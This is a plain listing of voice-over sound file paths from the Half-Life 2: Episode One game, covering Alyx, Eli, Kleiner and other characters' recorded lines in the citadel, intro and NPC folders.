+vo/episode_1/citadel/al_stalk_wrongplace.wav +vo/episode_1/citadel/al_start_getgravgun01.wav +vo/episode_1/citadel/al_start_getgravgun02.wav +vo/episode_1/citadel/al_start_getgravgun03.wav +vo/episode_1/citadel/al_stillhurry.wav +vo/episode_1/citadel/al_storingpods.wav +vo/episode_1/citadel/al_streaming.wav +vo/episode_1/citadel/al_strider_whoa.wav +vo/episode_1/citadel/al_strippedforparts01.wav +vo/episode_1/citadel/al_strippedforparts02.wav +vo/episode_1/citadel/al_strippedforparts03.wav +vo/episode_1/citadel/al_strippedforparts04.wav +vo/episode_1/citadel/al_takeoutstalker.wav +vo/episode_1/citadel/al_takethemwithit.wav +vo/episode_1/citadel/al_takeusoutcity.wav +vo/episode_1/citadel/al_terminalaround.wav +vo/episode_1/citadel/al_terminalexplode.wav +vo/episode_1/citadel/al_thankskeepmoving01.wav +vo/episode_1/citadel/al_thankskeepmoving02.wav +vo/episode_1/citadel/al_thatwasclose.wav +vo/episode_1/citadel/al_theregoesbridge.wav +vo/episode_1/citadel/al_theresone.wav +vo/episode_1/citadel/al_theywontbother.wav +vo/episode_1/citadel/al_thinkwecangetthru.wav +vo/episode_1/citadel/al_thinkwegothisway.wav +vo/episode_1/citadel/al_thisway.wav +vo/episode_1/citadel/al_timetomap01.wav +vo/episode_1/citadel/al_timetomap02.wav +vo/episode_1/citadel/al_tocommuter.wav +vo/episode_1/citadel/al_traitor.wav +vo/episode_1/citadel/al_traitor01.wav +vo/episode_1/citadel/al_traitor02.wav +vo/episode_1/citadel/al_tryanother.wav +vo/episode_1/citadel/al_tryanotherroller.wav +vo/episode_1/citadel/al_ugh01.wav +vo/episode_1/citadel/al_unstable01.wav +vo/episode_1/citadel/al_unstable02.wav +vo/episode_1/citadel/al_uptoyou.wav +vo/episode_1/citadel/al_van_drops.wav +vo/episode_1/citadel/al_vtex_behind.wav +vo/episode_1/citadel/al_vtex_imadeit.wav +vo/episode_1/citadel/al_vtex_omgcross.wav +vo/episode_1/citadel/al_warmachine.wav +vo/episode_1/citadel/al_watchstep_citadel.wav +vo/episode_1/citadel/al_weaponstripper01.wav +vo/episode_1/citadel/al_weaponstripper02.wav +vo/episode_1/citadel/al_weird.wav +vo/episode_1/citadel/al_whatswithgravgun.wav +vo/episode_1/citadel/al_whatthisplace.wav +vo/episode_1/citadel/al_wherewegoing.wav +vo/episode_1/citadel/al_whereyougoing.wav +vo/episode_1/citadel/al_whowasthat.wav +vo/episode_1/citadel/al_whystopping.wav +vo/episode_1/citadel/al_wideopen.wav +vo/episode_1/citadel/al_wishyouwouldnt.wav +vo/episode_1/citadel/al_worstover.wav +vo/episode_1/citadel/al_youknowwhat.wav +vo/episode_1/citadel/al_youreclear.wav +vo/episode_1/citadel/mo_intercept01.wav +vo/episode_1/citadel/mo_intercept02.wav +vo/episode_1/citadel/mo_intercept03.wav +vo/episode_1/citadel/mo_intercept04.wav +vo/episode_1/citadel/mo_intercept05.wav +vo/episode_1/citadel/mo_intercept06.wav +vo/episode_1/citadel/mo_intercept07.wav +vo/episode_1/intro/al_accessbridge.wav +vo/episode_1/intro/al_accessbridges.wav +vo/episode_1/intro/al_alittleclose01.wav +vo/episode_1/intro/al_alittleclose02.wav +vo/episode_1/intro/al_alittleclose03.wav +vo/episode_1/intro/al_allrightdog.wav +vo/episode_1/intro/al_allsostrange.wav +vo/episode_1/intro/al_allsostrange_new.wav +vo/episode_1/intro/al_antenna01.wav +vo/episode_1/intro/al_antenna02.wav +vo/episode_1/intro/al_antenna03.wav +vo/episode_1/intro/al_antenna04.wav +vo/episode_1/intro/al_antenna05.wav +vo/episode_1/intro/al_backintocitadel.wav +vo/episode_1/intro/al_backintocitadel01.wav +vo/episode_1/intro/al_backintocitadel02.wav +vo/episode_1/intro/al_bettergetoutofhere.wav +vo/episode_1/intro/al_betterluck.wav +vo/episode_1/intro/al_bettersuggestion.wav +vo/episode_1/intro/al_bettersuggestion01.wav +vo/episode_1/intro/al_bettersuggestion02.wav +vo/episode_1/intro/al_butdad.wav +vo/episode_1/intro/al_callingdog01.wav +vo/episode_1/intro/al_cantbelieveit.wav +vo/episode_1/intro/al_careful.wav +vo/episode_1/intro/al_carefulboy.wav +vo/episode_1/intro/al_carefulholdon.wav +vo/episode_1/intro/al_cellar_stilldunno01.wav +vo/episode_1/intro/al_cellar_stilldunno02.wav +vo/episode_1/intro/al_cellar_stilldunno03.wav +vo/episode_1/intro/al_cellar_stilldunno04.wav +vo/episode_1/intro/al_cellar_stilldunno05.wav +vo/episode_1/intro/al_cellar_stilldunno06.wav +vo/episode_1/intro/al_changemind01.wav +vo/episode_1/intro/al_changemind02.wav +vo/episode_1/intro/al_changemind03.wav +vo/episode_1/intro/al_chasm_dogallright.wav +vo/episode_1/intro/al_chasm_dogideas01.wav +vo/episode_1/intro/al_chasm_dogideas02.wav +vo/episode_1/intro/al_chasm_dogideas03.wav +vo/episode_1/intro/al_chasm_forgetpacking01.wav +vo/episode_1/intro/al_chasm_forgetpacking02.wav +vo/episode_1/intro/al_chasm_getbackin.wav +vo/episode_1/intro/al_chasm_noteasy.wav +vo/episode_1/intro/al_chasm_nothelpful01.wav +vo/episode_1/intro/al_chasm_nothelpful02.wav +vo/episode_1/intro/al_chasm_scanner01.wav +vo/episode_1/intro/al_chasm_scanner02.wav +vo/episode_1/intro/al_chasm_scaredhell.wav +vo/episode_1/intro/al_chasm_staywithus01.wav +vo/episode_1/intro/al_chasm_staywithus02.wav +vo/episode_1/intro/al_chasm_vertigo01.wav +vo/episode_1/intro/al_chasm_vertigo02.wav +vo/episode_1/intro/al_chasm_whatstakinghim.wav +vo/episode_1/intro/al_chasm_wheredog01.wav +vo/episode_1/intro/al_chasm_wheredog02.wav +vo/episode_1/intro/al_chasm_wheredog03.wav +vo/episode_1/intro/al_chuckle01.wav +vo/episode_1/intro/al_clearapath.wav +vo/episode_1/intro/al_cliff_afteryou01.wav +vo/episode_1/intro/al_cliff_afteryou02.wav +vo/episode_1/intro/al_cliff_careful.wav +vo/episode_1/intro/al_comeondog.wav +vo/episode_1/intro/al_comingdog.wav +vo/episode_1/intro/al_dadiloveyou01.wav +vo/episode_1/intro/al_dadiloveyou02.wav +vo/episode_1/intro/al_dadwassure.wav +vo/episode_1/intro/al_dadyouthere.wav +vo/episode_1/intro/al_dadyouthere01.wav +vo/episode_1/intro/al_dadyouthere02.wav +vo/episode_1/intro/al_dadyouthere03.wav +vo/episode_1/intro/al_dad_monitor01.wav +vo/episode_1/intro/al_dad_monitor02.wav +vo/episode_1/intro/al_damn.wav +vo/episode_1/intro/al_diddothemath.wav +vo/episode_1/intro/al_dogareyou.wav +vo/episode_1/intro/al_dogcouldhavekilledus.wav +vo/episode_1/intro/al_doggivehand.wav +vo/episode_1/intro/al_doggivemehand.wav +vo/episode_1/intro/al_doglittlehelp.wav +vo/episode_1/intro/al_dogmonitorsetup.wav +vo/episode_1/intro/al_dogmonitorsetup01.wav +vo/episode_1/intro/al_dogmonitorsetup02.wav +vo/episode_1/intro/al_dogmonitorsetup_alt1.wav +vo/episode_1/intro/al_dogmonitorsetup_alt2.wav +vo/episode_1/intro/al_dognotserious.wav +vo/episode_1/intro/al_dognotserious01.wav +vo/episode_1/intro/al_dognotserious02.wav +vo/episode_1/intro/al_dognotserious03.wav +vo/episode_1/intro/al_dognotserious04.wav +vo/episode_1/intro/al_dognotserious_alt.wav +vo/episode_1/intro/al_dogshappy.wav +vo/episode_1/intro/al_dogshappy01.wav +vo/episode_1/intro/al_dogshappy02.wav +vo/episode_1/intro/al_dogshappy03.wav +vo/episode_1/intro/al_dogwatchit.wav +vo/episode_1/intro/al_dogwatchsignal.wav +vo/episode_1/intro/al_dogwhatareyou.wav +vo/episode_1/intro/al_dogwhatareyoudoing.wav +vo/episode_1/intro/al_dogwhatyougot.wav +vo/episode_1/intro/al_dogyoufoundhim.wav +vo/episode_1/intro/al_dogyouseeanything.wav +vo/episode_1/intro/al_dontworry.wav +vo/episode_1/intro/al_dontworryaboutme.wav +vo/episode_1/intro/al_dontworrydad.wav +vo/episode_1/intro/al_downtowire.wav +vo/episode_1/intro/al_fewbolts01.wav +vo/episode_1/intro/al_fewbolts02.wav +vo/episode_1/intro/al_figureouthow.wav +vo/episode_1/intro/al_findanotherway.wav +vo/episode_1/intro/al_getinvan_nag01.wav +vo/episode_1/intro/al_getinvan_nag02.wav +vo/episode_1/intro/al_getinvan_nag03.wav +vo/episode_1/intro/al_getinvan_nag04.wav +vo/episode_1/intro/al_goodboy.wav +vo/episode_1/intro/al_gooddog01.wav +vo/episode_1/intro/al_goodthrow.wav +vo/episode_1/intro/al_goonboy.wav +vo/episode_1/intro/al_goovertheredog.wav +vo/episode_1/intro/al_gordon.wav +vo/episode_1/intro/al_gordonallright.wav +vo/episode_1/intro/al_gottahurrydog.wav +vo/episode_1/intro/al_gravgunholdonto.wav +vo/episode_1/intro/al_gravgunholdonto01.wav +vo/episode_1/intro/al_gravgunholdonto02.wav +vo/episode_1/intro/al_gravgunholdonto03.wav +vo/episode_1/intro/al_hastobearoundhere.wav +vo/episode_1/intro/al_hastobeawayacross01.wav +vo/episode_1/intro/al_hastobeawayacross02.wav +vo/episode_1/intro/al_headingoutnow.wav +vo/episode_1/intro/al_helpmedog.wav +vo/episode_1/intro/al_hesalive.wav +vo/episode_1/intro/al_hesalivegethimout.wav +vo/episode_1/intro/al_holdasec.wav +vo/episode_1/intro/al_holdon.wav +vo/episode_1/intro/al_hopelessnoaccess.wav +vo/episode_1/intro/al_hopelessnoaccess01.wav +vo/episode_1/intro/al_hopelessnoaccess02.wav +vo/episode_1/intro/al_howcouldanyonelive.wav +vo/episode_1/intro/al_howgetacross.wav +vo/episode_1/intro/al_hurrydog.wav +vo/episode_1/intro/al_hurrygordon01.wav +vo/episode_1/intro/al_ifwefoundaway01.wav +vo/episode_1/intro/al_ifwefoundaway02.wav +vo/episode_1/intro/al_ipromise.wav +vo/episode_1/intro/al_ishe.wav +vo/episode_1/intro/al_isthisit.wav +vo/episode_1/intro/al_itoldyoudad.wav +vo/episode_1/intro/al_itoldyoudad01.wav +vo/episode_1/intro/al_itoldyoudad02.wav +vo/episode_1/intro/al_itsmydad.wav +vo/episode_1/intro/al_itsmydad_new.wav +vo/episode_1/intro/al_judithgotaway.wav +vo/episode_1/intro/al_letsgetoff.wav +vo/episode_1/intro/al_lookout01.wav +vo/episode_1/intro/al_lookoutforvan.wav +vo/episode_1/intro/al_missyoutoo.wav +vo/episode_1/intro/al_movejunk.wav +vo/episode_1/intro/al_noseatbelts.wav +vo/episode_1/intro/al_notgonnawork.wav +vo/episode_1/intro/al_nottimetoplay.wav +vo/episode_1/intro/al_notyourfault.wav +vo/episode_1/intro/al_nowgoboy.wav +vo/episode_1/intro/al_ohgordon.wav +vo/episode_1/intro/al_omg01.wav +vo/episode_1/intro/al_omg02.wav +vo/episode_1/intro/al_omgdog01.wav +vo/episode_1/intro/al_omgdog02.wav +vo/episode_1/intro/al_omgdog03.wav +vo/episode_1/intro/al_onceacross.wav +vo/episode_1/intro/al_onceacross01.wav +vo/episode_1/intro/al_onceacross02.wav +vo/episode_1/intro/al_onceacross03.wav +vo/episode_1/intro/al_onhistrail.wav +vo/episode_1/intro/al_packupdog.wav +vo/episode_1/intro/al_putdown.wav +vo/episode_1/intro/al_putdown01.wav +vo/episode_1/intro/al_putdown02.wav +vo/episode_1/intro/al_putdown03.wav +vo/episode_1/intro/al_putdown04.wav +vo/episode_1/intro/al_quitgoofing.wav +vo/episode_1/intro/al_seefindway.wav +vo/episode_1/intro/al_seeforyourself.wav +vo/episode_1/intro/al_seeforyourself01.wav +vo/episode_1/intro/al_seeforyourself02.wav +vo/episode_1/intro/al_seeyousoon01.wav +vo/episode_1/intro/al_seeyousoon02.wav +vo/episode_1/intro/al_smashscanner01.wav +vo/episode_1/intro/al_smashscanner02.wav +vo/episode_1/intro/al_sogladtoseeyou.wav +vo/episode_1/intro/al_somethingisaid.wav +vo/episode_1/intro/al_somewayacrossgap.wav +vo/episode_1/intro/al_soworried.wav +vo/episode_1/intro/al_staycloseboy01.wav +vo/episode_1/intro/al_staycloseboy02.wav +vo/episode_1/intro/al_stayclosedog01.wav +vo/episode_1/intro/al_stilldontknow.wav +vo/episode_1/intro/al_stilldontknow01.wav +vo/episode_1/intro/al_stilldontknow02.wav +vo/episode_1/intro/al_stillnotsure.wav +vo/episode_1/intro/al_stillnotsure01.wav +vo/episode_1/intro/al_stillnotsure02.wav +vo/episode_1/intro/al_stillnotsure03.wav +vo/episode_1/intro/al_stopclowning.wav +vo/episode_1/intro/al_stopgoofing.wav +vo/episode_1/intro/al_thankgod.wav +vo/episode_1/intro/al_thanksdog.wav +vo/episode_1/intro/al_thankyou.wav +vo/episode_1/intro/al_thattaboy.wav +vo/episode_1/intro/al_thatwasclose01.wav +vo/episode_1/intro/al_thatwasclose02.wav +vo/episode_1/intro/al_throwingstuff.wav +vo/episode_1/intro/al_tryingtoreachhim.wav +vo/episode_1/intro/al_tryingtoreachhim_new.wav +vo/episode_1/intro/al_understanddad.wav +vo/episode_1/intro/al_upforthisgordon.wav +vo/episode_1/intro/al_waitllhehears.wav +vo/episode_1/intro/al_waitllhehears_alt.wav +vo/episode_1/intro/al_waittillhehears.wav +vo/episode_1/intro/al_waittillhehears_new01.wav +vo/episode_1/intro/al_waittillhehears_new02.wav +vo/episode_1/intro/al_watchdrop.wav +vo/episode_1/intro/al_watchstep.wav +vo/episode_1/intro/al_wecandothis.wav +vo/episode_1/intro/al_wellbecareful.wav +vo/episode_1/intro/al_whatareyoutwodoing.wav +vo/episode_1/intro/al_whatintodog.wav +vo/episode_1/intro/al_whatisitdog.wav +vo/episode_1/intro/al_whatnow.wav +vo/episode_1/intro/al_whatthistime.wav +vo/episode_1/intro/al_whatupto.wav +vo/episode_1/intro/al_wheredoeshethink.wav +vo/episode_1/intro/al_wherehegoing.wav +vo/episode_1/intro/al_whew.wav +vo/episode_1/intro/al_whoa.wav +vo/episode_1/intro/al_wontgobackthatway.wav +vo/episode_1/intro/al_yeah.wav +vo/episode_1/intro/al_youfoundgordon.wav +vo/episode_1/intro/al_youokaydog.wav +vo/episode_1/intro/al_yourealive.wav +vo/episode_1/intro/eli_alyxno.wav +vo/episode_1/intro/eli_andgordon01.wav +vo/episode_1/intro/eli_andgordon02.wav +vo/episode_1/intro/eli_checkin01.wav +vo/episode_1/intro/eli_checkin02.wav +vo/episode_1/intro/eli_comeinalyx01.wav +vo/episode_1/intro/eli_comeinalyx02.wav +vo/episode_1/intro/eli_comeinalyx03.wav +vo/episode_1/intro/eli_comeinalyx04.wav +vo/episode_1/intro/eli_comeinalyx05.wav +vo/episode_1/intro/eli_dowhatyoumust01.wav +vo/episode_1/intro/eli_dowhatyoumust02.wav +vo/episode_1/intro/eli_isaacplease.wav +vo/episode_1/intro/eli_izzytalk.wav +vo/episode_1/intro/eli_kleiner.wav +vo/episode_1/intro/eli_kleinerstop.wav +vo/episode_1/intro/eli_loveyoutoo01.wav +vo/episode_1/intro/eli_loveyoutoo02.wav +vo/episode_1/intro/eli_loveyoutoo03.wav +vo/episode_1/intro/eli_shefoundyou01.wav +vo/episode_1/intro/eli_shefoundyou02.wav +vo/episode_1/intro/eli_shefoundyou03.wav +vo/episode_1/intro/eli_shefoundyou04.wav +vo/episode_1/intro/eli_shefoundyou05.wav +vo/episode_1/intro/eli_uhizzy.wav +vo/episode_1/intro/eli_uhizzy01.wav +vo/episode_1/intro/eli_uhizzy02.wav +vo/episode_1/intro/eli_uhizzy03.wav +vo/episode_1/intro/eli_uhizzy04.wav +vo/episode_1/intro/eli_uhizzy05.wav +vo/episode_1/intro/eli_what01.wav +vo/episode_1/intro/gman_wellseeaboutthat.wav +vo/episode_1/intro/kl_carefullamarr01.wav +vo/episode_1/intro/kl_carefullamarr02.wav +vo/episode_1/intro/kl_citadelabove01.wav +vo/episode_1/intro/kl_citadelabove02.wav +vo/episode_1/intro/kl_damage.wav +vo/episode_1/intro/kl_damage01.wav +vo/episode_1/intro/kl_damage02.wav +vo/episode_1/intro/kl_damage03.wav +vo/episode_1/intro/kl_damage04.wav +vo/episode_1/intro/kl_fellowcitizens01.wav +vo/episode_1/intro/kl_fellowcitizens02.wav +vo/episode_1/intro/kl_fellowcitizens03.wav +vo/episode_1/intro/kl_fellowcitizens04.wav +vo/episode_1/intro/kl_fellowcitizens05.wav +vo/episode_1/intro/kl_fellowcitizens06.wav +vo/episode_1/intro/kl_fellowcitizens07.wav +vo/episode_1/intro/kl_fellowcitizens08.wav +vo/episode_1/intro/kl_fellowcitizens09.wav +vo/episode_1/intro/kl_fellowcitizens10.wav +vo/episode_1/intro/kl_fellowcitizens11.wav +vo/episode_1/intro/kl_fellowcitizens12.wav +vo/episode_1/intro/kl_fellowcitizens13.wav +vo/episode_1/intro/kl_fellowcitizens14.wav +vo/episode_1/intro/kl_fellowcitizens15.wav +vo/episode_1/intro/kl_fellowcitizens16.wav +vo/episode_1/intro/kl_fellowcitizens17.wav +vo/episode_1/intro/kl_fellowcitizens18.wav +vo/episode_1/intro/kl_fellowcitizens19.wav +vo/episode_1/intro/kl_fellowcitizens20.wav +vo/episode_1/intro/kl_fellowcitizens21.wav +vo/episode_1/intro/kl_fellowcitizens22.wav +vo/episode_1/intro/kl_fellowcitizens23.wav +vo/episode_1/intro/kl_fellowcitizens24.wav +vo/episode_1/intro/kl_fellowcitizens25.wav +vo/episode_1/intro/kl_fellowcitizens26.wav +vo/episode_1/intro/kl_hopeyoufar.wav +vo/episode_1/intro/kl_imsorryeli01.wav +vo/episode_1/intro/kl_imsorryeli02.wav +vo/episode_1/intro/kl_insufficient.wav +vo/episode_1/intro/kl_intothecore.wav +vo/episode_1/intro/kl_isthison.wav +vo/episode_1/intro/kl_noquestion01.wav +vo/episode_1/intro/kl_noquestion02.wav +vo/episode_1/intro/kl_noquestion03.wav +vo/episode_1/intro/kl_vicinity.wav +vo/episode_1/intro/vortchorus.wav +vo/episode_1/npc/alyx/al_affirm01.wav +vo/episode_1/npc/alyx/al_affirm02.wav +vo/episode_1/npc/alyx/al_affirm03.wav +vo/episode_1/npc/alyx/al_affirm04.wav +vo/episode_1/npc/alyx/al_affirm05.wav +vo/episode_1/npc/alyx/al_affirm_sarc01.wav +vo/episode_1/npc/alyx/al_affirm_sarc02.wav +vo/episode_1/npc/alyx/al_affirm_sarc03.wav +vo/episode_1/npc/alyx/al_affirm_sarc04.wav +vo/episode_1/npc/alyx/al_affirm_sarc05.wav +vo/episode_1/npc/alyx/al_alert_aguard.wav +vo/episode_1/npc/alyx/al_alert_barnacle01.wav +vo/episode_1/npc/alyx/al_alert_barnacle02.wav +vo/episode_1/npc/alyx/al_alert_barnacle03.wav +vo/episode_1/npc/alyx/al_alert_barnacle04.wav +vo/episode_1/npc/alyx/al_alert_dropship.wav +vo/episode_1/npc/alyx/al_alert_gunship.wav +vo/episode_1/npc/alyx/al_alert_headcrabs01.wav +vo/episode_1/npc/alyx/al_alert_headcrabs02.wav +vo/episode_1/npc/alyx/al_alert_headcrabs03.wav +vo/episode_1/npc/alyx/al_alert_headcrabs04.wav +vo/episode_1/npc/alyx/al_alert_headcrabs05.wav +vo/episode_1/npc/alyx/al_alert_soldiers.wav +vo/episode_1/npc/alyx/al_behindyou01.wav +vo/episode_1/npc/alyx/al_cantinterrupt01.wav +vo/episode_1/npc/alyx/al_cantinterrupt02.wav +vo/episode_1/npc/alyx/al_cantinterrupt03.wav +vo/episode_1/npc/alyx/al_cantinterrupt04.wav +vo/episode_1/npc/alyx/al_cantinterrupt05.wav +vo/episode_1/npc/alyx/al_combat_boom01.wav +vo/episode_1/npc/alyx/al_combat_boom02.wav +vo/episode_1/npc/alyx/al_combat_boom03.wav +vo/episode_1/npc/alyx/al_combat_boom04.wav +vo/episode_1/npc/alyx/al_combat_boom05.wav +vo/episode_1/npc/alyx/al_combat_boom06.wav +vo/episode_1/npc/alyx/al_combat_boom07.wav +vo/episode_1/npc/alyx/al_combat_burnem01.wav +vo/episode_1/npc/alyx/al_combat_burnem02.wav +vo/episode_1/npc/alyx/al_combat_didiseethat.wav +vo/episode_1/npc/alyx/al_combat_goodshooting01.wav +vo/episode_1/npc/alyx/al_combat_goodshooting02.wav +vo/episode_1/npc/alyx/al_combat_goodshooting03.wav +vo/episode_1/npc/alyx/al_combat_goodshot01.wav +vo/episode_1/npc/alyx/al_combat_goodshot02.wav +vo/episode_1/npc/alyx/al_combat_goodshot03.wav +vo/episode_1/npc/alyx/al_combat_goodshot04.wav +vo/episode_1/npc/alyx/al_combat_goodthinking01.wav +vo/episode_1/npc/alyx/al_combat_goodthinking02.wav +vo/episode_1/npc/alyx/al_combat_goodthinking03.wav +vo/episode_1/npc/alyx/al_combat_gradual01.wav +vo/episode_1/npc/alyx/al_combat_gradual02.wav +vo/episode_1/npc/alyx/al_combat_gradual03.wav +vo/episode_1/npc/alyx/al_combat_gradual04.wav +vo/episode_1/npc/alyx/al_combat_gradual_quiet_01.wav +vo/episode_1/npc/alyx/al_combat_gradual_quiet_02.wav +vo/episode_1/npc/alyx/al_combat_gradual_quiet_03.wav +vo/episode_1/npc/alyx/al_combat_gradual_quiet_04.wav +vo/episode_1/npc/alyx/al_combat_gradual_quiet_05.wav +vo/episode_1/npc/alyx/al_combat_gradual_quiet_06.wav +vo/episode_1/npc/alyx/al_combat_iwantedthose01.wav +vo/episode_1/npc/alyx/al_combat_iwantedthose02.wav +vo/episode_1/npc/alyx/al_combat_leavesome01.wav +vo/episode_1/npc/alyx/al_combat_leavesome02.wav +vo/episode_1/npc/alyx/al_combat_lightem.wav +vo/episode_1/npc/alyx/al_combat_mob01.wav +vo/episode_1/npc/alyx/al_combat_mob02.wav +vo/episode_1/npc/alyx/al_combat_mob03.wav +vo/episode_1/npc/alyx/al_combat_mob04.wav +vo/episode_1/npc/alyx/al_combat_mob05.wav +vo/episode_1/npc/alyx/al_combat_mob06.wav +vo/episode_1/npc/alyx/al_combat_mob07.wav +vo/episode_1/npc/alyx/al_combat_mob08.wav +vo/episode_1/npc/alyx/al_combat_mob09.wav +vo/episode_1/npc/alyx/al_combat_mob10.wav +vo/episode_1/npc/alyx/al_combat_mob11.wav +vo/episode_1/npc/alyx/al_combat_nice.wav +vo/episode_1/npc/alyx/al_combat_nicemove01.wav +vo/episode_1/npc/alyx/al_combat_nicepunt01.wav +vo/episode_1/npc/alyx/al_combat_nicepunt02.wav +vo/episode_1/npc/alyx/al_combat_niceshooting01.wav +vo/episode_1/npc/alyx/al_combat_niceshooting02.wav +vo/episode_1/npc/alyx/al_combat_niceshot01.wav +vo/episode_1/npc/alyx/al_combat_niceshot02.wav +vo/episode_1/npc/alyx/al_combat_niceshot03.wav +vo/episode_1/npc/alyx/al_combat_niceshot04.wav +vo/episode_1/npc/alyx/al_combat_ohsnap.wav +vo/episode_1/npc/alyx/al_combat_start01.wav +vo/episode_1/npc/alyx/al_combat_start02.wav +vo/episode_1/npc/alyx/al_combat_start03.wav +vo/episode_1/npc/alyx/al_combat_start04.wav +vo/episode_1/npc/alyx/al_combat_start05.wav +vo/episode_1/npc/alyx/al_combat_start06.wav +vo/episode_1/npc/alyx/al_combat_sudden01.wav +vo/episode_1/npc/alyx/al_combat_sudden02.wav +vo/episode_1/npc/alyx/al_combat_sudden03.wav +vo/episode_1/npc/alyx/al_combat_sudden04.wav +vo/episode_1/npc/alyx/al_combat_sudden05.wav +vo/episode_1/npc/alyx/al_combat_sudden06.wav +vo/episode_1/npc/alyx/al_combat_sudden07.wav +vo/episode_1/npc/alyx/al_combat_sudden08.wav +vo/episode_1/npc/alyx/al_combat_sudden09.wav +vo/episode_1/npc/alyx/al_combat_sudden10.wav +vo/episode_1/npc/alyx/al_combat_sudden11.wav +vo/episode_1/npc/alyx/al_combat_sudden12.wav +vo/episode_1/npc/alyx/al_combat_thanks01.wav +vo/episode_1/npc/alyx/al_combat_thanks02.wav +vo/episode_1/npc/alyx/al_combat_thanks03.wav +vo/episode_1/npc/alyx/al_combat_thanks04.wav +vo/episode_1/npc/alyx/al_combat_whoanice01.wav +vo/episode_1/npc/alyx/al_combat_whoanice02.wav +vo/episode_1/npc/alyx/al_combat_yeah01.wav +vo/episode_1/npc/alyx/al_combat_yeah02.wav +vo/episode_1/npc/alyx/al_combat_zombq01.wav +vo/episode_1/npc/alyx/al_combat_zombq02.wav +vo/episode_1/npc/alyx/al_comingtohelp01.wav +vo/episode_1/npc/alyx/al_comingtohelp02.wav +vo/episode_1/npc/alyx/al_comingtohelp03.wav +vo/episode_1/npc/alyx/al_comingtohelp04.wav +vo/episode_1/npc/alyx/al_coolgravkill01.wav +vo/episode_1/npc/alyx/al_coolgravkill02.wav +vo/episode_1/npc/alyx/al_coolgravkill03.wav +vo/episode_1/npc/alyx/al_coolgravkill04.wav +vo/episode_1/npc/alyx/al_dark_attack01.wav +vo/episode_1/npc/alyx/al_dark_attack02.wav +vo/episode_1/npc/alyx/al_dark_attack03.wav +vo/episode_1/npc/alyx/al_dark_attack04.wav +vo/episode_1/npc/alyx/al_dark_attack05.wav +vo/episode_1/npc/alyx/al_dark_attack06.wav +vo/episode_1/npc/alyx/al_dark_breathing01.wav +vo/episode_1/npc/alyx/al_dark_breathing02.wav +vo/episode_1/npc/alyx/al_dark_breathing03.wav +vo/episode_1/npc/alyx/al_dark_fakegroan.wav +vo/episode_1/npc/alyx/al_dark_gotcha.wav +vo/episode_1/npc/alyx/al_dark_lightout01.wav +vo/episode_1/npc/alyx/al_dark_lightout02.wav +vo/episode_1/npc/alyx/al_dark_lightout03.wav +vo/episode_1/npc/alyx/al_dark_lightout04.wav +vo/episode_1/npc/alyx/al_dark_lightout05.wav +vo/episode_1/npc/alyx/al_dark_near01.wav +vo/episode_1/npc/alyx/al_dark_near02.wav +vo/episode_1/npc/alyx/al_dark_near03.wav +vo/episode_1/npc/alyx/al_dark_near04.wav +vo/episode_1/npc/alyx/al_dark_noises01.wav +vo/episode_1/npc/alyx/al_dark_noises02.wav +vo/episode_1/npc/alyx/al_dark_noises03.wav +vo/episode_1/npc/alyx/al_dark_noises04.wav +vo/episode_1/npc/alyx/al_dark_noises05.wav +vo/episode_1/npc/alyx/al_dark_noises06.wav +vo/episode_1/npc/alyx/al_dark_noises07.wav +vo/episode_1/npc/alyx/al_dark_relief01.wav +vo/episode_1/npc/alyx/al_dark_relief02.wav +vo/episode_1/npc/alyx/al_dark_relief03.wav +vo/episode_1/npc/alyx/al_dark_relief04.wav +vo/episode_1/npc/alyx/al_dark_relief05.wav +vo/episode_1/npc/alyx/al_dark_stayclose01.wav +vo/episode_1/npc/alyx/al_dark_stayclose02.wav +vo/episode_1/npc/alyx/al_dark_stayclose03.wav +vo/episode_1/npc/alyx/al_dark_worried01.wav +vo/episode_1/npc/alyx/al_dark_worried02.wav +vo/episode_1/npc/alyx/al_dark_worried03.wav +vo/episode_1/npc/alyx/al_dark_worriederer01.wav +vo/episode_1/npc/alyx/al_dark_worriederer02.wav +vo/episode_1/npc/alyx/al_dark_worriederer03.wav +vo/episode_1/npc/alyx/al_dark_worrieder_01.wav +vo/episode_1/npc/alyx/al_dark_worrieder_02.wav +vo/episode_1/npc/alyx/al_dark_worrieder_03.wav +vo/episode_1/npc/alyx/al_dark_worriedest01.wav +vo/episode_1/npc/alyx/al_dark_worriedest02.wav +vo/episode_1/npc/alyx/al_dark_worriedest03.wav +vo/episode_1/npc/alyx/al_dark_worriedest04.wav +vo/episode_1/npc/alyx/al_dark_worriedest05.wav +vo/episode_1/npc/alyx/al_deaf_canthearanything.wav +vo/episode_1/npc/alyx/al_deaf_canthearyou.wav +vo/episode_1/npc/alyx/al_deaf_earsringing.wav +vo/episode_1/npc/alyx/al_deaf_saysomething.wav +vo/episode_1/npc/alyx/al_deaf_what.wav +vo/episode_1/npc/alyx/al_doyourstuff.wav +vo/episode_1/npc/alyx/al_explo_agh.wav +vo/episode_1/npc/alyx/al_explo_lookout.wav +vo/episode_1/npc/alyx/al_explo_watchit.wav +vo/episode_1/npc/alyx/al_explo_whoa.wav +vo/episode_1/npc/alyx/al_fight01.wav +vo/episode_1/npc/alyx/al_fight02.wav +vo/episode_1/npc/alyx/al_fight03.wav +vo/episode_1/npc/alyx/al_fight04.wav +vo/episode_1/npc/alyx/al_fight05.wav +vo/episode_1/npc/alyx/al_fight06.wav +vo/episode_1/npc/alyx/al_fight07.wav +vo/episode_1/npc/alyx/al_fight08.wav +vo/episode_1/npc/alyx/al_fight09.wav +vo/episode_1/npc/alyx/al_fight10.wav +vo/episode_1/npc/alyx/al_fight11.wav +vo/episode_1/npc/alyx/al_fight12.wav +vo/episode_1/npc/alyx/al_fight13.wav +vo/episode_1/npc/alyx/al_fight14.wav +vo/episode_1/npc/alyx/al_fight15.wav +vo/episode_1/npc/alyx/al_fight16.wav +vo/episode_1/npc/alyx/al_fight17.wav +vo/episode_1/npc/alyx/al_fight18.wav +vo/episode_1/npc/alyx/al_fight19.wav +vo/episode_1/npc/alyx/al_fight20.wav +vo/episode_1/npc/alyx/al_fight21.wav +vo/episode_1/npc/alyx/al_fight22.wav +vo/episode_1/npc/alyx/al_fight23.wav +vo/episode_1/npc/alyx/al_firstbarnacle.wav +vo/episode_1/npc/alyx/al_follow01.wav +vo/episode_1/npc/alyx/al_follow02.wav +vo/episode_1/npc/alyx/al_follow03.wav +vo/episode_1/npc/alyx/al_follow04.wav +vo/episode_1/npc/alyx/al_follow05.wav +vo/episode_1/npc/alyx/al_follow06.wav +vo/episode_1/npc/alyx/al_greet_cit01.wav +vo/episode_1/npc/alyx/al_greet_cit02.wav +vo/episode_1/npc/alyx/al_greet_cit03.wav 